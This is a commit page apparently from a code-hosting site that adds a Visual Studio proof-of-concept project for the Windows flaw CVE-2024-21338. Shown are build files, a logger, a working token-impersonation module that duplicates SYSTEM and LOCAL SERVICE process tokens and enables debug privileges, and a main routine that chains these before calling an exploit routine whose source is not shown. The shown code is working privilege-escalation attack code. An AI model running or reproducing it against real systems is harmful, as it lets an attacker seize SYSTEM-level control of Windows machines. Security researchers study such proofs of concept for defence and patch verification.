Projects STRLCPY CVE-2024-21338 Commits ee40510a
🤬
  • ■ ■ ■ ■ ■ ■
    CVE-2024-21338-POC.sln
     1 +
     2 +Microsoft Visual Studio Solution File, Format Version 12.00
     3 +# Visual Studio Version 17
     4 +VisualStudioVersion = 17.7.34031.279
     5 +MinimumVisualStudioVersion = 10.0.40219.1
     6 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2024-21338-POC", "CVE-2024-21338-POC.vcxproj", "{27E42E24-9F76-44E2-B1D6-82F68D5C4466}"
     7 +EndProject
     8 +Global
     9 + GlobalSection(SolutionConfigurationPlatforms) = preSolution
     10 + Debug|x64 = Debug|x64
     11 + Release|x64 = Release|x64
     12 + EndGlobalSection
     13 + GlobalSection(ProjectConfigurationPlatforms) = postSolution
     14 + {27E42E24-9F76-44E2-B1D6-82F68D5C4466}.Debug|x64.ActiveCfg = Debug|x64
     15 + {27E42E24-9F76-44E2-B1D6-82F68D5C4466}.Debug|x64.Build.0 = Debug|x64
     16 + {27E42E24-9F76-44E2-B1D6-82F68D5C4466}.Release|x64.ActiveCfg = Release|x64
     17 + {27E42E24-9F76-44E2-B1D6-82F68D5C4466}.Release|x64.Build.0 = Release|x64
     18 + EndGlobalSection
     19 + GlobalSection(SolutionProperties) = preSolution
     20 + HideSolutionNode = FALSE
     21 + EndGlobalSection
     22 + GlobalSection(ExtensibilityGlobals) = postSolution
     23 + SolutionGuid = {1F60AD75-96F6-47C7-9BDD-0396C7BAA97F}
     24 + EndGlobalSection
     25 +EndGlobal
     26 + 
  • ■ ■ ■ ■ ■ ■
    CVE-2024-21338-POC.vcxproj
     1 +<?xml version="1.0" encoding="utf-8"?>
     2 +<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
     3 + <ItemGroup Label="ProjectConfigurations">
     4 + <ProjectConfiguration Include="Debug|x64">
     5 + <Configuration>Debug</Configuration>
     6 + <Platform>x64</Platform>
     7 + </ProjectConfiguration>
     8 + <ProjectConfiguration Include="Release|x64">
     9 + <Configuration>Release</Configuration>
     10 + <Platform>x64</Platform>
     11 + </ProjectConfiguration>
     12 + </ItemGroup>
     13 + <PropertyGroup Label="Globals">
     14 + <VCProjectVersion>17.0</VCProjectVersion>
     15 + <Keyword>Win32Proj</Keyword>
     16 + <ProjectGuid>{27e42e24-9f76-44e2-b1d6-82f68d5c4466}</ProjectGuid>
     17 + <RootNamespace>CVE202421338POC</RootNamespace>
     18 + <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
     19 + </PropertyGroup>
     20 + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
     21 + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
     22 + <ConfigurationType>Application</ConfigurationType>
     23 + <UseDebugLibraries>true</UseDebugLibraries>
     24 + <PlatformToolset>v143</PlatformToolset>
     25 + <CharacterSet>Unicode</CharacterSet>
     26 + </PropertyGroup>
     27 + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
     28 + <ConfigurationType>Application</ConfigurationType>
     29 + <UseDebugLibraries>false</UseDebugLibraries>
     30 + <PlatformToolset>v143</PlatformToolset>
     31 + <WholeProgramOptimization>true</WholeProgramOptimization>
     32 + <CharacterSet>Unicode</CharacterSet>
     33 + </PropertyGroup>
     34 + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
     35 + <ImportGroup Label="ExtensionSettings">
     36 + <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
     37 + </ImportGroup>
     38 + <ImportGroup Label="Shared">
     39 + </ImportGroup>
     40 + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
     41 + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
     42 + </ImportGroup>
     43 + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
     44 + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
     45 + </ImportGroup>
     46 + <PropertyGroup Label="UserMacros" />
     47 + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
     48 + <ClCompile>
     49 + <WarningLevel>Level3</WarningLevel>
     50 + <SDLCheck>true</SDLCheck>
     51 + <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
     52 + <ConformanceMode>true</ConformanceMode>
     53 + <PrecompiledHeader>Use</PrecompiledHeader>
     54 + <PrecompiledHeaderFile>pch.hpp</PrecompiledHeaderFile>
     55 + <LanguageStandard>stdcpp20</LanguageStandard>
     56 + <LanguageStandard_C>stdc17</LanguageStandard_C>
     57 + </ClCompile>
     58 + <Link>
     59 + <SubSystem>Windows</SubSystem>
     60 + <GenerateDebugInformation>true</GenerateDebugInformation>
     61 + </Link>
     62 + </ItemDefinitionGroup>
     63 + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
     64 + <ClCompile>
     65 + <WarningLevel>Level3</WarningLevel>
     66 + <FunctionLevelLinking>true</FunctionLevelLinking>
     67 + <IntrinsicFunctions>false</IntrinsicFunctions>
     68 + <SDLCheck>true</SDLCheck>
     69 + <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
     70 + <ConformanceMode>true</ConformanceMode>
     71 + <LanguageStandard>stdcpp20</LanguageStandard>
     72 + <LanguageStandard_C>stdc17</LanguageStandard_C>
     73 + <PrecompiledHeader>Use</PrecompiledHeader>
     74 + <PrecompiledHeaderFile>pch.hpp</PrecompiledHeaderFile>
     75 + <Optimization>Disabled</Optimization>
     76 + <InlineFunctionExpansion>Disabled</InlineFunctionExpansion>
     77 + <WholeProgramOptimization>false</WholeProgramOptimization>
     78 + </ClCompile>
     79 + <Link>
     80 + <SubSystem>Windows</SubSystem>
     81 + <EnableCOMDATFolding>true</EnableCOMDATFolding>
     82 + <OptimizeReferences>true</OptimizeReferences>
     83 + <GenerateDebugInformation>true</GenerateDebugInformation>
     84 + </Link>
     85 + </ItemDefinitionGroup>
     86 + <ItemGroup>
     87 + <ClCompile Include="impersonate.cpp" />
     88 + <ClCompile Include="main.cpp" />
     89 + <ClCompile Include="pch.cpp">
     90 + <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
     91 + <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
     92 + </ClCompile>
     93 + <ClCompile Include="poc.cpp" />
     94 + </ItemGroup>
     95 + <ItemGroup>
     96 + <ClInclude Include="console.hpp" />
     97 + <ClInclude Include="impersonate.hpp" />
     98 + <ClInclude Include="pch.hpp" />
     99 + <ClInclude Include="phnt.h" />
     100 + <ClInclude Include="poc.hpp" />
     101 + </ItemGroup>
     102 + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
     103 + <ImportGroup Label="ExtensionTargets">
     104 + <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
     105 + </ImportGroup>
     106 +</Project>
  • ■ ■ ■ ■ ■ ■
    CVE-2024-21338-POC.vcxproj.filters
     1 +<?xml version="1.0" encoding="utf-8"?>
     2 +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
     3 + <ItemGroup>
     4 + <ClCompile Include="main.cpp" />
     5 + <ClCompile Include="pch.cpp" />
     6 + <ClCompile Include="poc.cpp" />
     7 + <ClCompile Include="impersonate.cpp" />
     8 + </ItemGroup>
     9 + <ItemGroup>
     10 + <ClInclude Include="pch.hpp" />
     11 + <ClInclude Include="poc.hpp" />
     12 + <ClInclude Include="console.hpp" />
     13 + <ClInclude Include="phnt.h" />
     14 + <ClInclude Include="impersonate.hpp" />
     15 + </ItemGroup>
     16 +</Project>
  • ■ ■ ■ ■ ■ ■
    console.hpp
     1 +#ifndef CONSOLE_LOGGER_HPP
     2 +#define CONSOLE_LOGGER_HPP
     3 + 
     4 +#include <Windows.h>
     5 + 
     6 +#include <iostream>
     7 +#include <shared_mutex>
     8 + 
     9 +enum class msg_type_t : std::uint32_t
     10 +{
     11 + LNONE = 0,
     12 + LDEBUG = 9, /* blue */
     13 + LSUCCESS = 10, /* green */
     14 + LERROR = 12, /* red */
     15 + LWARN = 14 /* yellow */
     16 +};
     17 + 
     18 +inline std::ostream& operator<< (std::ostream& os, const msg_type_t type)
     19 +{
     20 + switch (type)
     21 + {
     22 + case msg_type_t::LDEBUG: return os << ".";
     23 + case msg_type_t::LSUCCESS: return os << "+";
     24 + case msg_type_t::LERROR: return os << "!";
     25 + case msg_type_t::LWARN: return os << "*";
     26 + default: return os << "";
     27 + }
     28 +}
     29 + 
     30 +class logger
     31 +{
     32 +private:
     33 + std::shared_timed_mutex mutex;
     34 + 
     35 +public:
     36 + logger(const std::wstring_view title_name = {})
     37 + {
     38 + AllocConsole();
     39 + AttachConsole(GetCurrentProcessId());
     40 + 
     41 + if (!title_name.empty())
     42 + SetConsoleTitle(title_name.data());
     43 + 
     44 + FILE* conin, * conout;
     45 + 
     46 + freopen_s(&conin, "conin$", "r", stdin);
     47 + freopen_s(&conout, "conout$", "w", stdout);
     48 + freopen_s(&conout, "conout$", "w", stderr);
     49 + }
     50 + 
     51 + ~logger()
     52 + {
     53 + const auto handle = FindWindow(L"ConsoleWindowClass", nullptr);
     54 + ShowWindow(handle, SW_HIDE);
     55 + FreeConsole();
     56 + }
     57 + 
     58 + template< typename ... arg >
     59 + void print(const msg_type_t type, const std::string_view& func, const std::string& format, arg ... a)
     60 + {
     61 + static auto* h_console = GetStdHandle(STD_OUTPUT_HANDLE);
     62 + std::unique_lock<decltype(mutex)> lock(mutex);
     63 + 
     64 + const size_t size = (size_t)(1) + std::snprintf(nullptr, 0, format.c_str(), a ...);
     65 + const std::unique_ptr<char[]> buf(new char[size]);
     66 + std::snprintf(buf.get(), size, format.c_str(), a ...);
     67 + const auto formated = std::string(buf.get(), buf.get() + size - 1);
     68 + 
     69 + if (type != msg_type_t::LNONE)
     70 + {
     71 + SetConsoleTextAttribute(h_console, (WORD)(type));
     72 + std::cout << "[";
     73 + std::cout << type;
     74 + std::cout << "] ";
     75 + 
     76 + SetConsoleTextAttribute(h_console, 15 /* white */);
     77 + std::cout << "[ ";
     78 + 
     79 + SetConsoleTextAttribute(h_console, (WORD)(type));
     80 + std::cout << func;
     81 + 
     82 + SetConsoleTextAttribute(h_console, 15 /* white */);
     83 + std::cout << " ] ";
     84 + }
     85 + 
     86 + if (type == msg_type_t::LDEBUG)
     87 + SetConsoleTextAttribute(h_console, 8 /* gray */);
     88 + else
     89 + SetConsoleTextAttribute(h_console, 15 /* white */);
     90 + 
     91 + std::cout << formated << "\n";
     92 + }
     93 +};
     94 + 
     95 +//#ifdef _DEBUG
     96 +inline auto g_logger = logger(L"");
     97 +#define log_debug(...) g_logger.print( msg_type_t::LDEBUG, __FUNCTION__, __VA_ARGS__ )
     98 +#define log_ok(...) g_logger.print( msg_type_t::LSUCCESS, __FUNCTION__, __VA_ARGS__ )
     99 +#define log_err(...) g_logger.print( msg_type_t::LERROR, __FUNCTION__, __VA_ARGS__ )
     100 +#define log_warn(...) g_logger.print( msg_type_t::LWARN, __FUNCTION__, __VA_ARGS__ )
     101 +#define log_raw(...) g_logger.print( msg_type_t::LNONE, __FUNCTION__, __VA_ARGS__ )
     102 +//#else
     103 +//#define log_debug(...)
     104 +//#define log_ok(...)
     105 +//#define log_err(...)
     106 +//#define log_warn(...)
     107 +//#define log_raw(...)
     108 +//#endif
     109 + 
     110 +#endif // guard
  • ■ ■ ■ ■ ■ ■
    impersonate.cpp
     1 +#include "pch.hpp"
     2 +#include "impersonate.hpp"
     3 + 
     4 +BOOL c_impersonate::token_is_not_restricted(HANDLE hToken, PBOOL pbIsNotRestricted)
     5 +{
     6 + BOOL bReturnValue = FALSE;
     7 + 
     8 + DWORD dwSize = 0;
     9 + PTOKEN_GROUPS pTokenGroups = NULL;
     10 + 
     11 + if (!GetTokenInformation(hToken, TokenRestrictedSids, NULL, dwSize, &dwSize))
     12 + {
     13 + if (GetLastError() != ERROR_INSUFFICIENT_BUFFER)
     14 + {
     15 + log_err("GetTokenInformation");
     16 + goto end;
     17 + }
     18 + }
     19 + 
     20 + pTokenGroups = (PTOKEN_GROUPS)LocalAlloc(LPTR, dwSize);
     21 + if (!pTokenGroups)
     22 + goto end;
     23 + 
     24 + if (!GetTokenInformation(hToken, TokenRestrictedSids, pTokenGroups, dwSize, &dwSize))
     25 + {
     26 + log_err("GetTokenInformation");
     27 + goto end;
     28 + }
     29 + 
     30 + *pbIsNotRestricted = pTokenGroups->GroupCount == 0;
     31 + 
     32 + bReturnValue = TRUE;
     33 + 
     34 +end:
     35 + if (pTokenGroups)
     36 + LocalFree(pTokenGroups);
     37 + 
     38 + return bReturnValue;
     39 +}
     40 + 
     41 + 
     42 +BOOL c_impersonate::token_get_sid(HANDLE hToken, PSID* ppSid)
     43 +{
     44 + BOOL bReturnValue = TRUE;
     45 + DWORD dwSize = 0;
     46 + PTOKEN_USER pTokenUser = NULL;
     47 + 
     48 + if (!GetTokenInformation(hToken, TokenUser, NULL, 0, &dwSize))
     49 + {
     50 + if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
     51 + log_err("GetTokenInformation");
     52 + goto end;
     53 + }
     54 + }
     55 + 
     56 + pTokenUser = (PTOKEN_USER)LocalAlloc(LPTR, dwSize);
     57 + if (!pTokenUser)
     58 + goto end;
     59 + 
     60 + if (!GetTokenInformation(hToken, TokenUser, pTokenUser, dwSize, &dwSize))
     61 + {
     62 + log_err("GetTokenInformation");
     63 + goto end;
     64 + }
     65 + 
     66 + *ppSid = (PSID)LocalAlloc(LPTR, SECURITY_MAX_SID_SIZE);
     67 + if (!*ppSid)
     68 + goto end;
     69 + 
     70 + if (!CopySid(SECURITY_MAX_SID_SIZE, *ppSid, pTokenUser->User.Sid))
     71 + {
     72 + log_err("CopySid");
     73 + LocalFree(*ppSid);
     74 + goto end;
     75 + }
     76 + 
     77 + bReturnValue = TRUE;
     78 + 
     79 +end:
     80 + if (pTokenUser)
     81 + LocalFree(pTokenUser);
     82 + 
     83 + return bReturnValue;
     84 +}
     85 + 
     86 + 
     87 +BOOL c_impersonate::token_get_username(HANDLE hToken, LPWSTR* ppwszUsername)
     88 +{
     89 + BOOL bReturnValue = FALSE;
     90 + PSID pSid = NULL;
     91 + const DWORD dwMaxSize = 256;
     92 + WCHAR wszUsername[dwMaxSize] = { 0 };
     93 + WCHAR wszDomain[dwMaxSize] = { 0 };
     94 + DWORD dwMaxUsername = dwMaxSize;
     95 + DWORD dwMaxDomain = dwMaxSize;
     96 + SID_NAME_USE type;
     97 + 
     98 + if (!this->token_get_sid(hToken, &pSid))
     99 + goto end;
     100 + 
     101 + if (!LookupAccountSid(NULL, pSid, wszUsername, &dwMaxUsername, wszDomain, &dwMaxDomain, &type))
     102 + {
     103 + log_err("LookupAccountSid");
     104 + goto end;
     105 + }
     106 + 
     107 + *ppwszUsername = (LPWSTR)LocalAlloc(LPTR, (dwMaxSize * 2 + 1) * sizeof(WCHAR));
     108 + if (!*ppwszUsername)
     109 + goto end;
     110 + 
     111 + StringCchPrintf(*ppwszUsername, dwMaxSize * 2 + 1, L"%ws\\%ws", wszDomain, wszUsername);
     112 + bReturnValue = TRUE;
     113 + 
     114 +end:
     115 + if (pSid)
     116 + LocalFree(pSid);
     117 + 
     118 + return bReturnValue;
     119 +}
     120 + 
     121 +BOOL c_impersonate::token_compare_sids(PSID pSidA, PSID pSidB)
     122 +{
     123 + BOOL bReturnValue = FALSE;
     124 + LPWSTR pwszSidA = NULL;
     125 + LPWSTR pwszSidB = NULL;
     126 + 
     127 + if (ConvertSidToStringSid(pSidA, &pwszSidA) && ConvertSidToStringSid(pSidB, &pwszSidB))
     128 + {
     129 + bReturnValue = _wcsicmp(pwszSidA, pwszSidB) == 0;
     130 + LocalFree(pwszSidA);
     131 + LocalFree(pwszSidB);
     132 + }
     133 + else
     134 + log_err("ConvertSidToStringSid");
     135 + 
     136 + return bReturnValue;
     137 +}
     138 + 
     139 + 
     140 +BOOL c_impersonate::find_process_token_and_duplicate(_In_ LPCWSTR pwszTargetSid, _Out_ PHANDLE phToken, _In_opt_ LPCWSTR pwszPrivileges[], _In_ DWORD dwPrivilegeCount)
     141 +{
     142 + BOOL bReturnValue = FALSE;
     143 + 
     144 + PSID pTargetSid = NULL;
     145 + PVOID pBuffer = NULL;
     146 + PSYSTEM_PROCESS_INFORMATION pProcInfo = NULL;
     147 + HANDLE hProcess = NULL, hToken = NULL, hTokenDup = NULL;
     148 + DWORD dwReturnedLen = 0, dwBufSize = 0x1000, dwSessionId = 0;
     149 + PSID pSidTmp = NULL;
     150 + NTSTATUS status = STATUS_INFO_LENGTH_MISMATCH;
     151 + 
     152 + LPWSTR pwszUsername = NULL;
     153 + 
     154 + if (!ConvertStringSidToSid(pwszTargetSid, &pTargetSid))
     155 + goto end;
     156 + 
     157 + while (TRUE)
     158 + {
     159 + pBuffer = LocalAlloc(LPTR, dwBufSize);
     160 + if (!pBuffer || status != STATUS_INFO_LENGTH_MISMATCH)
     161 + break;
     162 + 
     163 + status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemProcessInformation, pBuffer, dwBufSize, &dwReturnedLen);
     164 + if (NT_SUCCESS(status))
     165 + {
     166 + pProcInfo = (PSYSTEM_PROCESS_INFORMATION)pBuffer;
     167 + while (TRUE) {
     168 + if (hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PtrToUlong(pProcInfo->UniqueProcessId)))
     169 + {
     170 + if (OpenProcessToken(hProcess, TOKEN_QUERY | TOKEN_DUPLICATE, &hToken))
     171 + {
     172 + if (DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenImpersonation, &hTokenDup))
     173 + {
     174 + if (this->token_get_sid(hTokenDup, &pSidTmp) && this->token_get_username(hTokenDup, &pwszUsername))
     175 + {
     176 + if (this->token_compare_sids(pSidTmp, pTargetSid))
     177 + {
     178 + log_debug("Found a potential Process candidate: PID=%d - Image='%ws' - User='%ws'", PtrToUlong(pProcInfo->UniqueProcessId), pProcInfo->ImageName.Buffer, pwszUsername);
     179 + 
     180 + BOOL bTokenIsNotRestricted = FALSE;
     181 + this->token_is_not_restricted(hTokenDup, &bTokenIsNotRestricted);
     182 + 
     183 + if (bTokenIsNotRestricted)
     184 + log_debug("This token is not restricted.");
     185 + else
     186 + log_debug("This token is restricted.");
     187 + 
     188 + if (bTokenIsNotRestricted)
     189 + {
     190 + if (pwszPrivileges && dwPrivilegeCount != 0)
     191 + {
     192 + DWORD dwPrivilegeFound = 0;
     193 + for (DWORD i = 0; i < dwPrivilegeCount; i++)
     194 + {
     195 + if (this->token_check_privilege(hTokenDup, pwszPrivileges[i], FALSE))
     196 + dwPrivilegeFound++;
     197 + }
     198 + 
     199 + log_debug("Found %d/%d required privileges in token.", dwPrivilegeFound, dwPrivilegeCount);
     200 + 
     201 + if (dwPrivilegeFound == dwPrivilegeCount)
     202 + {
     203 + log_debug("Found a valid Token candidate.");
     204 + 
     205 + *phToken = hTokenDup;
     206 + bReturnValue = TRUE;
     207 + }
     208 + }
     209 + else
     210 + {
     211 + log_debug("Found a valid Token.");
     212 + 
     213 + *phToken = hTokenDup;
     214 + bReturnValue = TRUE;
     215 + }
     216 + }
     217 + }
     218 + LocalFree(pSidTmp);
     219 + LocalFree(pwszUsername);
     220 + }
     221 + if (!bReturnValue)
     222 + CloseHandle(hTokenDup);
     223 + }
     224 + CloseHandle(hToken);
     225 + }
     226 + CloseHandle(hProcess);
     227 + }
     228 + 
     229 + // If we found a valid token, stop
     230 + if (bReturnValue)
     231 + break;
     232 + 
     233 + // If next entry is null, stop
     234 + if (!pProcInfo->NextEntryOffset)
     235 + break;
     236 + 
     237 + // Increment SYSTEM_PROCESS_INFORMATION pointer
     238 + pProcInfo = (PSYSTEM_PROCESS_INFORMATION)((PBYTE)pProcInfo + pProcInfo->NextEntryOffset);
     239 + }
     240 + }
     241 + 
     242 + LocalFree(pBuffer);
     243 + dwBufSize <<= 1;
     244 + }
     245 + 
     246 +end:
     247 + if (pTargetSid)
     248 + LocalFree(pTargetSid);
     249 + 
     250 + return bReturnValue;
     251 +}
     252 + 
     253 +BOOL c_impersonate::token_check_privilege(HANDLE hToken, LPCWSTR pwszPrivilege, BOOL bEnablePrivilege)
     254 +{
     255 + BOOL bReturnValue = FALSE;
     256 + DWORD dwTokenPrivilegesSize = 0, i = 0, dwPrivilegeNameLength = 0;
     257 + PTOKEN_PRIVILEGES pTokenPrivileges = NULL;
     258 + LUID_AND_ATTRIBUTES laa = { 0 };
     259 + TOKEN_PRIVILEGES tp = { 0 };
     260 + LPWSTR pwszPrivilegeNameTemp = NULL;
     261 + 
     262 + if (!GetTokenInformation(hToken, TokenPrivileges, NULL, dwTokenPrivilegesSize, &dwTokenPrivilegesSize))
     263 + {
     264 + if (GetLastError() != ERROR_INSUFFICIENT_BUFFER)
     265 + {
     266 + log_err("GetTokenInformation");
     267 + goto end;
     268 + }
     269 + }
     270 + 
     271 + pTokenPrivileges = (PTOKEN_PRIVILEGES)LocalAlloc(LPTR, dwTokenPrivilegesSize);
     272 + if (!pTokenPrivileges)
     273 + goto end;
     274 + 
     275 + if (!GetTokenInformation(hToken, TokenPrivileges, pTokenPrivileges, dwTokenPrivilegesSize, &dwTokenPrivilegesSize))
     276 + {
     277 + log_err("GetTokenInformation");
     278 + goto end;
     279 + }
     280 + 
     281 + for (i = 0; i < pTokenPrivileges->PrivilegeCount; i++)
     282 + {
     283 + laa = pTokenPrivileges->Privileges[i];
     284 + dwPrivilegeNameLength = 0;
     285 + 
     286 + if (!LookupPrivilegeName(NULL, &(laa.Luid), NULL, &dwPrivilegeNameLength))
     287 + {
     288 + if (GetLastError() != ERROR_INSUFFICIENT_BUFFER)
     289 + {
     290 + log_err("LookupPrivilegeName");
     291 + goto end;
     292 + }
     293 + }
     294 + 
     295 + dwPrivilegeNameLength++;
     296 + 
     297 + if (pwszPrivilegeNameTemp = (LPWSTR)LocalAlloc(LPTR, dwPrivilegeNameLength * sizeof(WCHAR)))
     298 + {
     299 + if (LookupPrivilegeName(NULL, &(laa.Luid), pwszPrivilegeNameTemp, &dwPrivilegeNameLength))
     300 + {
     301 + if (!_wcsicmp(pwszPrivilegeNameTemp, pwszPrivilege))
     302 + {
     303 + if (bEnablePrivilege)
     304 + {
     305 + ZeroMemory(&tp, sizeof(TOKEN_PRIVILEGES));
     306 + tp.PrivilegeCount = 1;
     307 + tp.Privileges[0].Luid = laa.Luid;
     308 + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
     309 + 
     310 + if (AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL))
     311 + bReturnValue = TRUE;
     312 + else
     313 + log_err("AdjustTokenPrivileges");
     314 + }
     315 + else
     316 + {
     317 + bReturnValue = TRUE;
     318 + }
     319 + 
     320 + break;
     321 + }
     322 + }
     323 + else
     324 + log_err("LookupPrivilegeName");
     325 + 
     326 + LocalFree(pwszPrivilegeNameTemp);
     327 + }
     328 + }
     329 + 
     330 +end:
     331 + if (pTokenPrivileges)
     332 + LocalFree(pTokenPrivileges);
     333 + 
     334 + return bReturnValue;
     335 +}
     336 + 
     337 +BOOL c_impersonate::impersonate(_In_ HANDLE hToken)
     338 +{
     339 + HANDLE hThread = GetCurrentThread(); // Pseudo handle, does not need to be closed
     340 + 
     341 + if (!SetThreadToken(&hThread, hToken))
     342 + {
     343 + log_err("SetThreadToken");
     344 + return FALSE;
     345 + }
     346 + 
     347 + return TRUE;
     348 +}
     349 + 
     350 +HANDLE c_impersonate::impersonate_as_local_service() {
     351 + BOOL bReturnValue = FALSE;
     352 + 
     353 + HANDLE hCurrentProcessToken = NULL;
     354 + HANDLE hToken = NULL;
     355 + HANDLE hCurrentThread = NULL;
     356 + 
     357 + if (!OpenProcessToken(GetCurrentProcess(), MAXIMUM_ALLOWED, &hCurrentProcessToken))
     358 + {
     359 + log_err("OpenProcessToken");
     360 + goto end;
     361 + }
     362 + 
     363 + if (!this->token_check_privilege(hCurrentProcessToken, SE_DEBUG_NAME, TRUE))
     364 + goto end;
     365 + 
     366 + if (!this->token_check_privilege(hCurrentProcessToken, SE_IMPERSONATE_NAME, TRUE))
     367 + goto end;
     368 + 
     369 + if (!this->find_process_token_and_duplicate(L"S-1-5-19", &hToken, NULL, 0))
     370 + goto end;
     371 +
     372 + log_debug("Impersonating as LOCAL SERVICE.");
     373 + if (!this->impersonate(hToken))
     374 + goto end;
     375 + 
     376 + bReturnValue = TRUE;
     377 + 
     378 +end:
     379 + if (hCurrentProcessToken)
     380 + CloseHandle(hCurrentProcessToken);
     381 + 
     382 + return hToken;
     383 +}
     384 + 
     385 +HANDLE c_impersonate::impersonate_as_system() {
     386 + BOOL bReturnValue = FALSE;
     387 + 
     388 + HANDLE hCurrentProcessToken = NULL;
     389 + HANDLE hToken = NULL;
     390 + HANDLE hCurrentThread = NULL;
     391 + 
     392 + LPCWSTR pwszPrivileges[2] = {
     393 + L"SeDebugPrivilege",
     394 + L"SeAssignPrimaryTokenPrivilege"
     395 + };
     396 + 
     397 + if (!OpenProcessToken(GetCurrentProcess(), MAXIMUM_ALLOWED, &hCurrentProcessToken))
     398 + {
     399 + log_err("OpenProcessToken");
     400 + goto end;
     401 + }
     402 + 
     403 + if (!this->token_check_privilege(hCurrentProcessToken, SE_DEBUG_NAME, TRUE))
     404 + goto end;
     405 + 
     406 + if (!this->token_check_privilege(hCurrentProcessToken, SE_ASSIGNPRIMARYTOKEN_NAME, TRUE))
     407 + goto end;
     408 + 
     409 + if (!this->find_process_token_and_duplicate(L"S-1-5-18", &hToken, pwszPrivileges, ARRAYSIZE(pwszPrivileges)))
     410 + goto end;
     411 +
     412 + log_debug("Impersonating as SYSTEM.");
     413 + if (!this->impersonate(hToken))
     414 + goto end;
     415 + 
     416 + bReturnValue = TRUE;
     417 + 
     418 +end:
     419 + if (hCurrentProcessToken)
     420 + CloseHandle(hCurrentProcessToken);
     421 + 
     422 + return hToken;
     423 +}
     424 + 
     425 +BOOL c_impersonate::is_elevated() {
     426 + BOOL fRet = FALSE;
     427 + HANDLE hToken = NULL;
     428 + if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
     429 + TOKEN_ELEVATION Elevation;
     430 + DWORD cbSize = sizeof(TOKEN_ELEVATION);
     431 + if (GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize)) {
     432 + fRet = Elevation.TokenIsElevated;
     433 + }
     434 + }
     435 + if (hToken) {
     436 + CloseHandle(hToken);
     437 + }
     438 + return fRet;
     439 +}
  • ■ ■ ■ ■ ■ ■
    impersonate.hpp
     1 +#pragma once
     2 + 
     3 +#include <sddl.h>
     4 +#pragma comment(lib, "advapi32.lib")
     5 +#include <strsafe.h>
     6 + 
     7 +class c_impersonate
     8 +{
     9 +private:
     10 + 
     11 +public:
     12 + c_impersonate() = default;
     13 + ~c_impersonate() = default;
     14 + 
     15 + BOOL token_is_not_restricted(HANDLE hToken, PBOOL pbIsNotRestricted);
     16 + BOOL token_get_sid(HANDLE hToken, PSID* ppSid);
     17 + BOOL token_get_username(HANDLE hToken, LPWSTR* ppwszUsername);
     18 + BOOL token_compare_sids(PSID pSidA, PSID pSidB);
     19 + BOOL find_process_token_and_duplicate(LPCWSTR pwszTargetSid, PHANDLE phToken, LPCWSTR pwszPrivileges[], DWORD dwPrivilegeCount);
     20 + BOOL token_check_privilege(HANDLE hToken, LPCWSTR pwszPrivilege, BOOL bEnablePrivilege);
     21 + BOOL impersonate(HANDLE hToken);
     22 + HANDLE impersonate_as_local_service();
     23 + HANDLE impersonate_as_system();
     24 + BOOL is_elevated();
     25 +};
     26 + 
     27 +inline auto impersonate = std::make_unique<c_impersonate>();
  • ■ ■ ■ ■ ■ ■
    main.cpp
     1 +#include "pch.hpp"
     2 +#include "poc.hpp"
     3 +#include "impersonate.hpp"
     4 + 
     5 +INT APIENTRY wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR pCmdLine, int nCmdShow) {
     6 + // Check for admin rights
     7 + if (!impersonate->is_elevated()) {
     8 + log_debug("You need to run this program as an administrator.");
     9 + std::cin.get();
     10 + return EXIT_FAILURE;
     11 + }
     12 +
     13 + // First impersonate from admin to SYSTEM, then from SYSTEM to Local Service.
     14 + impersonate->impersonate_as_system();
     15 + impersonate->impersonate_as_local_service();
     16 + 
     17 + // Execute the exploit
     18 + poc->act();
     19 + 
     20 + std::cin.get();
     21 + return EXIT_SUCCESS;
     22 +}
  • ■ ■ ■ ■ ■
    pch.cpp
     1 +#include "pch.hpp"
  • ■ ■ ■ ■ ■ ■
    pch.hpp
     1 +#pragma once
     2 + 
     3 +#define PHNT_VERSION PHNT_WIN10_22H2
     4 +#include "phnt.h"
     5 + 
     6 +#pragma comment(lib, "ntdll.lib")
     7 + 
     8 +#define NOMINMAX
     9 + 
     10 +#include <memory>
     11 +#include <vector>
     12 + 
     13 +#include "console.hpp"
     14 + 
  • phnt.h
    Diff is too large to be displayed.
  • ■ ■ ■ ■ ■ ■
